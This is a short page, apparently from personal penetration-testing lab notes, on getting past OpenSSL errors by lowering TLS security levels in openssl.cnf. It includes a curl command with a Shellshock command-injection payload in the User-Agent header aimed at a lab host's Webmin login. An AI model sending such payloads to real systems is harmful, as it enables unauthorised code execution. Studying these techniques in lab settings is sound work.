> sslscan 10.10.10.7 > vim /etc/ssl/openssl.cnf From: [system_default_sect] MinProtocol = TLSv1.2 CipherString = DEFAULT@SECLEVEL=2 To: [system_default_sect] MinProtocol = None CipherString = DEFAULT

curl: (60) SSL certificate problem: EE certificate key too weak curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi

SSL Issues

ssl errors and issues.. might need to change your ssl levels
change it back after you are finished

> sslscan 10.10.10.7
> vim /etc/ssl/openssl.cnf

From: 

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2

To:

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

curl

curl: (60) SSL certificate problem: EE certificate key too weak
curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi

burp

When scanning for shellshock was too much trouble.. did just fine!

PreviousPort Knocking NextTcpdump

Last updated 2 years ago

Was this helpful?